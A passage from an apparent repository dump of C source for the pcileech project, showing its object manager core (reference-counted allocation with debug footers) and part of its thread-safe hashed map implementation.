the\n*       least recently accessed item will be removed from the cache map.\n* -- pfnValidEntry = optional validation callback function.\n* -- flags = defined by OB_CACHEMAP_FLAGS_*\n* -- return\n*/\nPOB_CACHEMAP ObCacheMap_New(_In_opt_ VMM_HANDLE H, _In_ DWORD cMaxEntries, _In_opt_ OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry, _In_ QWORD flags)\n{\n    POB_CACHEMAP pObCacheMap;\n    if(!cMaxEntries) { return NULL; }\n    if((flags & OB_MAP_FLAGS_OBJECT_OB) && (flags & OB_MAP_FLAGS_OBJECT_LOCALFREE)) { return NULL; }\n    pObCacheMap = Ob_AllocEx(H, OB_TAG_CORE_CACHEMAP, LMEM_ZEROINIT, sizeof(OB_CACHEMAP), (OB_CLEANUP_CB)_ObCacheMap_ObCloseCallback, NULL);\n    if(!pObCacheMap) { return NULL; }\n    InitializeSRWLock(&pObCacheMap->LockSRW);\n    pObCacheMap->cMax = cMaxEntries;\n    pObCacheMap->pfnValidEntry = pfnValidEntry;\n    pObCacheMap->fObjectsOb = (flags & OB_CACHEMAP_FLAGS_OBJECT_OB) ? TRUE : FALSE;\n    pObCacheMap->fObjectsLocalFree = (flags & OB_CACHEMAP_FLAGS_OBJECT_LOCALFREE) ? TRUE : FALSE;\n    pObCacheMap->pm = ObMap_New(H, OB_MAP_FLAGS_OBJECT_VOID);\n    if(!pObCacheMap->pm) {\n        Ob_DECREF(pObCacheMap);\n        return NULL;\n    }\n    return pObCacheMap;\n}\n"
  },
  {
    "path": "pcileech/ob/ob_core.c",
    "content": "// ob_core.c : implementation of object manager core functionality.\n//\n// The object manager is a minimal non-threaded way of allocating objects with\n// reference counts. When reference count reach zero the object is deallocated\n// automatically.\n//\n// All Ob functions are thread-safe and performs only minimum locking.\n//\n// A thread calls Ob_Alloc to allocate an object of a specific length. The\n// object initially have reference count 1. Reference counts may be increased\n// by calling Ob_INCREF and decreased by calling Ob_DECREF. If the refcount\n// reach one or zero in a call to Ob_DECREF optional callbacks may be made\n// (specified at Ob_Alloc time). Callbacks may be useful for cleanup tasks\n// - such as decreasing reference count of sub-objects contained in the object\n// that is to be deallocated.\n//\n// (c) Ulf Frisk, 2018-2025\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"ob.h\"\n#include <stdio.h>\n\n#define obprintf_fn(format, ...)        printf(\"%s: \"format, __func__, ##__VA_ARGS__);\n#define OB_DEBUG_FOOTER_SIZE            0x20\n#define OB_DEBUG_FOOTER_MAGIC           0x001122334455667788\n\n/*\n* Allocate a new object manager memory object.\n* -- H = an optional handle to embed as OB.H in the header.\n* -- tag = tag of the object to be allocated.\n* -- uFlags = flags as given by LocalAlloc.\n* -- uBytes = bytes of object (_including_ object headers).\n* -- pfnRef_0 = optional callback for cleanup o be called before object is destroyed.\n*               (if object has references that should be decremented before destruction).\n* -- pfnRef_1 = optional callback for when object reach refcount = 1 (excl. initial).\n* -- return = allocated object on success, with refcount = 1, - NULL on fail.\n*/\nPVOID Ob_AllocEx(_In_opt_ VMM_HANDLE H, _In_ DWORD tag, _In_ UINT uFlags, _In_ SIZE_T uBytes, _In_opt_ OB_CLEANUP_CB pfnRef_0, _In_opt_ OB_CLEANUP_CB pfnRef_1)\n{\n    POB pOb;\n    if((uBytes > 0x40000000) || (uBytes < sizeof(OB))) { return NULL; }\n    pOb = (POB)LocalAlloc(uFlags, uBytes + OB_DEBUG_FOOTER_SIZE);\n    if(!pOb) { return NULL; }\n    pOb->_magic1 = OB_HEADER_MAGIC;\n    pOb->_magic2 = OB_HEADER_MAGIC;\n    pOb->_count = 1;\n    pOb->_tag = tag;\n    pOb->_pfnRef_0 = pfnRef_0;\n    pOb->_pfnRef_1 = pfnRef_1;\n    pOb->H = H;\n    pOb->cbData = (DWORD)uBytes - sizeof(OB);\n#ifdef OB_DEBUG\n    DWORD i, cb = sizeof(OB) + pOb->cbData;\n    PBYTE pb = (PBYTE)pOb;\n    for(i = 0; i < OB_DEBUG_FOOTER_SIZE; i += 8) {\n        *(PQWORD)(pb + cb + i) = OB_DEBUG_FOOTER_MAGIC;\n    }\n#endif /* OB_DEBUG */\n    return pOb;\n}\n\n/*\n* Increase the reference count of a object manager object.\n* -- pOb\n* -- return\n*/\nPVOID Ob_XINCREF(_In_opt_ PVOID pObIn)\n{\n    POB pOb = (POB)pObIn;\n    if(pOb) {\n        if((pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC)) {\n            InterlockedIncrement(&pOb->_count);\n            return (POB)pOb;\n        } else {\n            obprintf_fn(\"ObCORE: CRITICAL: INCREF OF NON OBJECT MANAGER OBJECT!\\n\")\n        }\n    }\n    return NULL;\n}\n\n/*\n* Decrease the reference count of a object manager object. If the reference\n* count reaches zero the object will be cleaned up.\n* -- pObIn\n* -- return = pObIn if pObIn is valid and refcount > 0 after decref.\n*/\nPVOID Ob_XDECREF(_In_opt_ PVOID pObIn)\n{\n    POB pOb = (POB)pObIn;\n    DWORD c;\n    if(pOb) {\n        if((pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC)) {\n            c = InterlockedDecrement(&pOb->_count);\n#ifdef OB_DEBUG\n            DWORD i, cb = sizeof(OB) + pOb->cbData;\n            PBYTE pb = (PBYTE)pOb;\n            for(i = 0; i < OB_DEBUG_FOOTER_SIZE; i += 8) {\n                if(*(PQWORD)(pb + cb + i) != OB_DEBUG_FOOTER_MAGIC) {\n                    obprintf_fn(\"ObCORE: CRITICAL: FOOTER OVERWRITTEN - MEMORY CORRUPTION? REFCNT: %i TAG: %04X\\n\", c, pOb->_tag)\n                }\n            }\n#endif /* OB_DEBUG */\n            if(c == 0) {\n                if(pOb->_pfnRef_0) { pOb->_pfnRef_0(pOb); }\n                pOb->_magic1 = 0;\n                pOb->_magic2 = 0;\n#ifdef OB_DEBUG_MEMZERO\n                ZeroMemory(pOb, sizeof(OB) + pOb->cbData);\n#endif /* OB_DEBUG_MEMZERO */\n                LocalFree(pOb);\n            } else if((c == 1) && pOb->_pfnRef_1) {\n                pOb->_pfnRef_1(pOb);\n                return pOb;\n            } else {\n                return pOb;\n            }\n        } else {\n            obprintf_fn(\"ObCORE: CRITICAL: DECREF OF NON OBJECT MANAGER OBJECT!\\n\")\n        }\n    }\n    return NULL;\n}\n\n/*\n* Decrease the reference count of a object manager object.\n* If the reference count reaches zero the object will be cleaned up.\n* Also set the incoming pointer to NULL.\n* -- ppOb\n*/\nVOID Ob_XDECREF_NULL(_In_opt_ PVOID *ppOb)\n{\n    POB pOb;\n    if(ppOb) {\n        pOb = (POB)*ppOb;\n        *ppOb = NULL;\n        Ob_DECREF(pOb);\n    }\n}\n\n/*\n* Checks if pObIn is a valid object manager object with the specified tag.\n* -- pObIn\n* -- tag\n* -- return\n*/\nBOOL Ob_VALID_TAG(_In_ PVOID pObIn, _In_ DWORD tag)\n{\n    POB pOb = (POB)pObIn;\n    return pOb && (pOb->_magic2 == OB_HEADER_MAGIC) && (pOb->_magic1 == OB_HEADER_MAGIC) && (pOb->_tag = tag);\n}\n\n/*\n* Create a new object manager data object in which the ObHdr->cbData is equal\n* to the number of bytes in the data buffer supplied to this function.\n* May also be created with Ob_Alloc with size: sizeof(OB_HDR) + length of data.\n* CALLER DECREF: return\n* -- H\n* -- pb\n* -- cb\n* -- return\n*/\n_Success_(return != NULL)\nPOB_DATA ObData_New(_In_opt_ VMM_HANDLE H, _In_ PBYTE pb, _In_ DWORD cb)\n{\n    POB_DATA pObData = NULL;\n    if((pObData = Ob_AllocEx(H, OB_TAG_CORE_DATA, 0, sizeof(OB) + cb, NULL, NULL))) {\n        memcpy(pObData->pb, pb, cb);\n    }\n    return pObData;\n}\n"
  },
  {
    "path": "pcileech/ob/ob_map.c",
    "content": "// ob_map.c : implementation of object manager hashed map functionality.\n//\n// The map is a key-value map that may, as an option, contain object manager\n// objects in its value field. They key may be user-defined, generated by a\n// function or absent. The ObMap may hold a maximum capacity of 0x02000000\n// (~32M) entries which are UNIQUE and non-NULL.\n//\n// The map (ObMap) is thread safe and implement efficient access to the data\n// via internal hashing functionality.\n// The map (ObMap) guarantees order amongst values unless the ObMap_Remove*\n// functions are called - in which order may change and on-going iterations\n// of the set with ObMap_Get/ObMap_GetNext may fail.\n// The ObMap is an object manager object and must be DECREF'ed when required.\n//\n// (c) Ulf Frisk, 2019-2025\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"ob.h\"\n\n#define OB_MAP_ENTRIES_DIRECTORY    0x100\n#define OB_MAP_ENTRIES_TABLE        0x200\n#define OB_MAP_ENTRIES_STORE        0x100\n#define OB_MAP_IS_VALID(p)          (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_MAP))\n#define OB_MAP_TABLE_MAX_CAPACITY   OB_MAP_ENTRIES_DIRECTORY * OB_MAP_ENTRIES_TABLE * OB_MAP_ENTRIES_STORE\n#define OB_MAP_HASH_FUNCTION(v)     (13 * (v + _rotr16((WORD)v, 9) + _rotr((DWORD)v, 17) + _rotr64(v, 31)))\n\n#define OB_MAP_INDEX_DIRECTORY(i)   ((i >> 17) & (OB_MAP_ENTRIES_DIRECTORY - 1))\n#define OB_MAP_INDEX_TABLE(i)       ((i >> 8) & (OB_MAP_ENTRIES_TABLE - 1))\n#define OB_MAP_INDEX_STORE(i)       (i & (OB_MAP_ENTRIES_STORE - 1))\n\ntypedef struct tdOB_MAP {\n    OB ObHdr;\n    SRWLOCK LockSRW;\n    DWORD c;\n    DWORD cHashMax;\n    DWORD cHashGrowThreshold;\n    BOOL fLargeMode;\n    BOOL fKey;\n    BOOL fObjectsOb;\n    BOOL fObjectsLocalFree;\n    PDWORD pHashMapKey;\n    PDWORD pHashMapValue;\n    union {\n        PPOB_MAP_ENTRY Directory[OB_MAP_ENTRIES_DIRECTORY];\n        struct {\n            PPOB_MAP_ENTRY _SmallDirectory[1];\n            DWORD _SmallHashMap[0x200];\n        };\n    };\n    POB_MAP_ENTRY _SmallTable[1];\n    OB_MAP_ENTRY Store00[OB_MAP_ENTRIES_STORE];\n} OB_MAP, *POB_MAP;\n\n#define OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pm, RetTp, RetValFail, fn) {      \\\n    if(!OB_MAP_IS_VALID(pm)) { return RetValFail; }                                     \\\n    RetTp retVal;                                                                       \\\n    AcquireSRWLockExclusive(&pm->LockSRW);                                              \\\n    retVal = fn;                                                                        \\\n    ReleaseSRWLockExclusive(&pm->LockSRW);                                              \\\n    return retVal;                                                                      \\\n}\n\n#define OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, RetTp, RetValFail, fn) {       \\\n    if(!OB_MAP_IS_VALID(pm)) { return RetValFail; }                                     \\\n    RetTp retVal;                                                                       \\\n    AcquireSRWLockShared(&pm->LockSRW);                                                 \\\n    retVal = fn;                                                                        \\\n    ReleaseSRWLockShared(&pm->LockSRW);                                                 \\\n    return retVal;                                                                      \\\n}\n\n/*\n* Ob_DECREF / LocalFree all objects in the map (if required)\n* -- pObMap\n*/\nVOID _ObMap_ObFreeAllObjects(_In_ POB_MAP pObMap)\n{\n    DWORD i;\n    POB_MAP_ENTRY pe;\n    if(pObMap->fObjectsOb) {\n        for(i = 1; i < pObMap->c; i++) {\n            pe = &pObMap->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];\n            Ob_DECREF(pe->v);\n        }\n    } else if(pObMap->fObjectsLocalFree) {\n        for(i = 1; i < pObMap->c; i++) {\n            pe = &pObMap->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];\n            LocalFree(pe->v);\n        }\n    }\n}\n\n/*\n* Object Map object manager cleanup function to be called when reference\n* count reaches zero.\n* -- pObMap\n*/\nVOID _ObMap_ObCloseCallback(_In_ POB_MAP pObMap)\n{\n    DWORD iDirectory, iTable;\n    _ObMap_ObFreeAllObjects(pObMap);\n    if(pObMap->fLargeMode) {\n        for(iDirectory = 0; iDirectory < OB_MAP_ENTRIES_DIRECTORY; iDirectory++) {\n            if(!pObMap->Directory[iDirectory]) { break; }\n            for(iTable = 0; iTable < OB_MAP_ENTRIES_TABLE; iTable++) {\n                if(!pObMap->Directory[iDirectory][iTable]) { break; }\n                if(iDirectory || iTable) {\n                    LocalFree(pObMap->Directory[iDirectory][iTable]);\n                }\n            }\n            LocalFree(pObMap->Directory[iDirectory]);\n        }\n        LocalFree(pObMap->pHashMapValue);\n    }\n}\n\nPOB_MAP_ENTRY _ObMap_GetFromIndex(_In_ POB_MAP pm, _In_ DWORD iEntry)\n{\n    if(!iEntry || (iEntry >= pm->c)) { return NULL; }\n    return &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];\n}\n\nQWORD _ObMap_GetFromEntryIndex(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ DWORD iEntry)\n{\n    POB_MAP_ENTRY pe = _ObMap_GetFromIndex(pm, iEntry);\n    return pe ? (fValueHash ? (QWORD)pe->v : pe->k) : 0;\n}\n\nVOID _ObMap_SetHashIndex(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ DWORD iHash, _In_ DWORD iEntry)\n{\n    if(fValueHash) {\n        pm->pHashMapValue[iHash] = iEntry;\n    } else if(pm->fKey) {\n        pm->pHashMapKey[iHash] = iEntry;\n    }\n}\n\nVOID _ObMap_InsertHash(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ DWORD iEntry)\n{\n    QWORD qwValueToHash;\n    DWORD iHash, dwHashMask = pm->cHashMax - 1;\n    if(!fValueHash && !pm->fKey) { return; }\n    qwValueToHash = _ObMap_GetFromEntryIndex(pm, fValueHash, iEntry);\n    iHash = OB_MAP_HASH_FUNCTION(qwValueToHash) & dwHashMask;\n    while(fValueHash ? pm->pHashMapValue[iHash] : pm->pHashMapKey[iHash]) {\n        iHash = (iHash + 1) & dwHashMask;\n    }\n    _ObMap_SetHashIndex(pm, fValueHash, iHash, iEntry);\n}\n\nVOID _ObMap_RemoveHash(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ QWORD kv, _In_ DWORD iEntry)\n{\n    DWORD iHash, dwHashMask = pm->cHashMax - 1;\n    DWORD iNextHash, iNextEntry, iNextHashPreferred;\n    QWORD qwNextEntry;\n    if(!fValueHash && !pm->fKey) { return; }\n    // search for hash index and clear\n    iHash = OB_MAP_HASH_FUNCTION(kv) & dwHashMask;\n    while(TRUE) {\n        if(iEntry == (fValueHash ? pm->pHashMapValue[iHash] : pm->pHashMapKey[iHash])) { break; }\n        iHash = (iHash + 1) & dwHashMask;\n    }\n    _ObMap_SetHashIndex(pm, fValueHash, iHash, 0);\n    // re-hash any entries following (value)\n    iNextHash = iHash;\n    while(TRUE) {\n        iNextHash = (iNextHash + 1) & dwHashMask;\n        iNextEntry = fValueHash ? pm->pHashMapValue[iNextHash] : pm->pHashMapKey[iNextHash];\n        if(0 == iNextEntry) { return; }\n        qwNextEntry = _ObMap_GetFromEntryIndex(pm, fValueHash, iNextEntry);\n        iNextHashPreferred = OB_MAP_HASH_FUNCTION(qwNextEntry) & dwHashMask;\n        if(iNextHash == iNextHashPreferred) { continue; }\n        _ObMap_SetHashIndex(pm, fValueHash, iNextHash, 0);\n        _ObMap_InsertHash(pm, fValueHash, iNextEntry);\n    }\n}\n\n_Success_(return)\nBOOL _ObMap_GetEntryIndexFromKeyOrValue(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ QWORD kv, _Out_opt_ PDWORD piEntry)\n{\n    DWORD iEntry;\n    DWORD dwHashMask = pm->cHashMax - 1;\n    DWORD iHash = OB_MAP_HASH_FUNCTION(kv) & dwHashMask;\n    if(!fValueHash && !pm->fKey) { return FALSE; }\n    // scan hash table to find entry\n    while(TRUE) {\n        iEntry = fValueHash ? pm->pHashMapValue[iHash] : pm->pHashMapKey[iHash];\n        if(0 == iEntry) { return FALSE; }\n        if(kv == _ObMap_GetFromEntryIndex(pm, fValueHash, iEntry)) {\n            if(piEntry) { *piEntry = iEntry; }\n            return TRUE;\n        }\n        iHash = (iHash + 1) & dwHashMask;\n    }\n}\n\n//-----------------------------------------------------------------------------\n// RETRIEVE/GET FUNCTIONALITY BELOW:\n// ObMap_Size,   ObMap_Exists,  ObMap_ExistsKey, ObMap_GetByIndex,\n// ObMap_Peek,   ObMap_PeekKey, ObMap_GetByKey,  ObMap_GetNext, \n// ObMap_GetKey, \n//-----------------------------------------------------------------------------\n\nBOOL _ObMap_Exists(_In_ POB_MAP pm, _In_ BOOL fValueHash, _In_ QWORD kv)\n{\n    if((!fValueHash && !pm->fKey) || (fValueHash && !kv)) { return FALSE; }\n    return _ObMap_GetEntryIndexFromKeyOrValue(pm, fValueHash, kv, NULL);\n}\n\n/*\n* Retrieve the number of objects in the ObMap.\n* -- pm\n* -- return\n*/\nDWORD ObMap_Size(_In_opt_ POB_MAP pm)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, DWORD, 0, pm->c - 1)\n}\n\n/*\n* Check if an object exists in the ObMap.\n* -- pm\n* -- qwKey/pvObject\n* -- return\n*/\nBOOL ObMap_Exists(_In_opt_ POB_MAP pm, _In_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Exists(pm, TRUE, (QWORD)pvObject))\n}\n\n/*\n* Check if a key exists in the ObMap.\n* -- pm\n* -- qwKey/pvObject\n* -- return\n*/\nBOOL ObMap_ExistsKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Exists(pm, FALSE, qwKey))\n}\n\nPVOID _ObMap_GetByEntryIndex(_In_ POB_MAP pm, _In_ DWORD iEntry)\n{\n    PVOID pvObObject = (PVOID)_ObMap_GetFromEntryIndex(pm, TRUE, iEntry);\n    if(pm->fObjectsOb) { Ob_INCREF(pvObObject); }\n    return pvObObject;\n}\n\nPVOID _ObMap_GetByKey(_In_ POB_MAP pm, _In_ QWORD qwKey)\n{\n    DWORD iEntry;\n    return _ObMap_GetEntryIndexFromKeyOrValue(pm, FALSE, qwKey, &iEntry) ? _ObMap_GetByEntryIndex(pm, iEntry) : NULL;\n}\n\nPVOID _ObMap_GetNext(_In_ POB_MAP pm, _In_opt_ PVOID pvObject)\n{\n    DWORD iEntry;\n    if(!pvObject) {\n        return _ObMap_GetByEntryIndex(pm, 1);\n    }\n    if(pm->fObjectsOb) { Ob_DECREF(pvObject); }\n    if(!_ObMap_GetEntryIndexFromKeyOrValue(pm, TRUE, (QWORD)pvObject, &iEntry)) { return NULL; }\n    return _ObMap_GetByEntryIndex(pm, iEntry + 1);\n}\n\nPVOID _ObMap_GetNextByKey(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject)\n{\n    DWORD iEntry;\n    if(!pvObject) {\n        return _ObMap_GetByEntryIndex(pm, 1);\n    }\n    if(pm->fObjectsOb) { Ob_DECREF(pvObject); }\n    if(!_ObMap_GetEntryIndexFromKeyOrValue(pm, FALSE, qwKey, &iEntry)) { return NULL; }\n    return _ObMap_GetByEntryIndex(pm, iEntry + 1);\n}\n\nPVOID _ObMap_GetNextByIndex(_In_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject)\n{\n    if(pvObject) {\n        *pdwIndex = *pdwIndex - 1;\n    } else {\n        *pdwIndex = pm->c - 1;\n    }\n    if(pm->fObjectsOb) { Ob_DECREF(pvObject); }\n    return _ObMap_GetByEntryIndex(pm, *pdwIndex);\n}\n\n/*\n* Efficiently find the index of the key in the map.\n* If the key cannot be located the index of the next larger key is returned.\n* -- pm\n* -- qwKey\n* -- pdwIndex\n* -- return\n*/\n_Success_(return)\nBOOL _ObMap_QFind(_In_ POB_MAP pm, _In_ QWORD qwKey, _Out_ PDWORD pdwIndex)\n{\n    POB_MAP_ENTRY pe;\n    DWORD i, dwStep, cMap;\n    if(pm->c <= 1) { return FALSE; }\n    cMap = pm->c - 1;\n    for(i = 1; ((cMap - 1) >> i); i++);\n    i = min(1UL << (i - 1), (cMap - 1) >> 1);\n    if(i == 0) { i = 1; }\n    dwStep = i >> 1;\n    while(dwStep > 1) {\n        pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];\n        if(pe->k < qwKey) {\n            if(i + dwStep <= cMap) {\n                i += dwStep;\n            }\n        } else if(pe->k > qwKey) {\n            i -= dwStep;\n        } else {\n            *pdwIndex = i;\n            return TRUE;\n        }\n        dwStep = dwStep >> 1;\n    }\n    pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];\n    while(TRUE) {\n        if(pe->k < qwKey) {\n            if(i == cMap) { return FALSE; }\n            i++;\n            pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];\n            if(pe->k >= qwKey) {\n                *pdwIndex = i;\n                return TRUE;\n            }\n        } else if(pe->k > qwKey) {\n            if(i == 1) {\n                *pdwIndex = 1;\n                return TRUE;\n            }\n            i--;\n            pe = &pm->Directory[OB_MAP_INDEX_DIRECTORY(i)][OB_MAP_INDEX_TABLE(i)][OB_MAP_INDEX_STORE(i)];\n            if(pe->k < qwKey) {\n                *pdwIndex = i + 1;\n                return TRUE;\n            }\n        } else {\n            *pdwIndex = i;\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nPVOID _ObMap_GetNextByKeySorted(_In_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject)\n{\n    DWORD iEntry;\n    if(pm->fObjectsOb) { Ob_DECREF(pvObject); }\n    if(qwKey == 0) {\n        iEntry = 1;\n    } else if(_ObMap_GetEntryIndexFromKeyOrValue(pm, FALSE, qwKey, &iEntry)) {\n        iEntry++;\n    } else if(_ObMap_QFind(pm, qwKey, &iEntry)) {\n        ;\n    } else {\n        return NULL;\n    }\n    return _ObMap_GetByEntryIndex(pm, iEntry);\n}\n\n_Success_(return != 0)\nQWORD _ObMap_GetKey(_In_ POB_MAP pm, _In_ PVOID pvObject)\n{\n    DWORD iEntry;\n    if(!_ObMap_GetEntryIndexFromKeyOrValue(pm, TRUE, (QWORD)pvObject, &iEntry)) { return 0; }\n    return _ObMap_GetFromIndex(pm, iEntry)->k;\n}\n\n_Success_(return)\nBOOL _ObMap_Filter(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTER_PFN_CB pfnFilterCB)\n{\n    DWORD iEntry;\n    POB_MAP_ENTRY pEntry;\n    for(iEntry = 1; iEntry < pm->c; iEntry++) {\n        pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];\n        pfnFilterCB(ctx, pEntry->k, pEntry->v);\n    }\n    return TRUE;\n}\n\n_Success_(return != NULL)\nPOB_SET _ObMap_FilterSet(_In_ POB_MAP pm, _In_opt_ PVOID ctx, _In_ OB_MAP_FILTERSET_PFN_CB pfnFilterSetCB)\n{\n    DWORD iEntry;\n    POB_MAP_ENTRY pEntry;\n    POB_SET pObSet;\n    if(!(pObSet = ObSet_New(pm->ObHdr.H))) { return NULL; }\n    for(iEntry = 1; iEntry < pm->c; iEntry++) {\n        pEntry = &pm->Directory[OB_MAP_INDEX_DIRECTORY(iEntry)][OB_MAP_INDEX_TABLE(iEntry)][OB_MAP_INDEX_STORE(iEntry)];\n        pfnFilterSetCB(ctx, pObSet, pEntry->k, pEntry->v);\n    }\n    return pObSet;\n}\n\n/*\n* Retrieve an object given an index (which is less than the amount of items\n* in the ObMap).\n* NB! Correctness of the Get/GetNext functionality is _NOT- guaranteed if the\n* ObMap_Remove* functions are called while iterating over the ObSet - items\n* may be skipped or iterated over multiple times!\n* CALLER DECREF(if OB): return\n* -- pm\n* -- index\n* -- return\n*/\nPVOID ObMap_GetByIndex(_In_opt_ POB_MAP pm, _In_ DWORD index)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetByEntryIndex(pm, index + 1))  // (+1 == account/adjust for index 0 (reserved))\n}\n\n/*\n* Retrieve a value given a key.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- return\n*/\nPVOID ObMap_GetByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetByKey(pm, qwKey))\n}\n\n/*\n* Retrieve the next object given an object. Start and end objects are NULL.\n* NB! Correctness of the Get/GetNext functionality is _NOT_ guaranteed if the\n* ObMap_Remove* functions are called while iterating over the ObMap - items may\n* be skipped or iterated over multiple times!\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNext(_In_opt_ POB_MAP pm, _In_opt_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNext(pm, pvObject))\n}\n\n/*\n* Retrieve the next object given a key. To start iterating supply NULL in the\n* pvObject parameter (this overrides qwKey). When no more objects are found\n* NULL will be returned. This function may ideally be used when object maps\n* may be refreshed between function calls. Key may be more stable than object.\n* NB! Correctness of the Get/GetNext functionality is _NOT_ guaranteed if the\n* ObMap_Remove* functions are called while iterating over the ObMap - items may\n* be skipped or iterated over multiple times!\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNextByKey(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByKey(pm, qwKey, pvObject))\n}\n\n/*\n* Retrieve the next object given a key in a map sorted by key. If the key isn't\n* found the next object with a larger key will be returned. To start iterating\n* supply zero (0) in the qwKey parameter. When no more objects are found NULL\n* will be returned.\n* NB! Correctness is only guarateed if the map is sorted by key ascending.\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- qwKey\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNextByKeySorted(_In_opt_ POB_MAP pm, _In_ QWORD qwKey, _In_opt_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByKeySorted(pm, qwKey, pvObject))\n}\n\n/*\n* Iterate over objects in reversed index order. To start iterating supply NULL\n* in the pvObject parameter (this overrides pdwIndex). When no more objects\n* are found NULL will be returned.\n* Add/Remove rules:\n*  - Added objects are ok - but will not be iterated over.\n*  - Removal of current object and already iterated objects are ok.\n*  - Removal of objects not yet iterated is FORBIDDEN. It causes the iterator\n*    fail by returning the same object multiple times or skipping objects.\n* FUNCTION DECREF(if OB): pvObject\n* CALLER DECREF(if OB): return\n* -- pm\n* -- pdwIndex\n* -- pvObject\n* -- return\n*/\nPVOID ObMap_GetNextByIndex(_In_opt_ POB_MAP pm, _Inout_ PDWORD pdwIndex, _In_opt_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetNextByIndex(pm, pdwIndex, pvObject))\n}\n\n/*\n* Retrieve the key for an existing object in the ObMap.\n* -- pm\n* -- pvObject\n* -- return\n*/\n_Success_(return != 0)\nQWORD ObMap_GetKey(_In_opt_ POB_MAP pm, _In_ PVOID pvObject)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, QWORD, 0, _ObMap_GetKey(pm, pvObject))\n}\n\n/*\n* Peek the \"last\" object.\n* CALLER DECREF(if OB): return\n* -- pm\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObMap_Peek(_In_opt_ POB_MAP pm)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, PVOID, NULL, _ObMap_GetByEntryIndex(pm, pm->c - 1))\n}\n\n/*\n* Peek the key of the \"last\" object.\n* -- pm\n* -- return = the key, otherwise 0.\n*/\nQWORD ObMap_PeekKey(_In_opt_ POB_MAP pm)\n{\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, QWORD, 0, _ObMap_GetFromEntryIndex(pm, FALSE, pm->c - 1))\n}\n\n/*\n* Filter map objects into a generic context by using a user-supplied filter function.\n* -- pm\n* -- ctx = optional context to pass on to the filter function.\n* -- pfnFilterCB\n* -- return\n*/\n_Success_(return)\nBOOL ObMap_Filter(_In_opt_ POB_MAP pm, _In_opt_ PVOID ctx, _In_opt_ OB_MAP_FILTER_PFN_CB pfnFilterCB)\n{\n    if(!pfnFilterCB) { return FALSE; }\n    OB_MAP_CALL_SYNCHRONIZED_IMPLEMENTATION_READ(pm, BOOL, FALSE, _ObMap_Filter(pm, ctx, 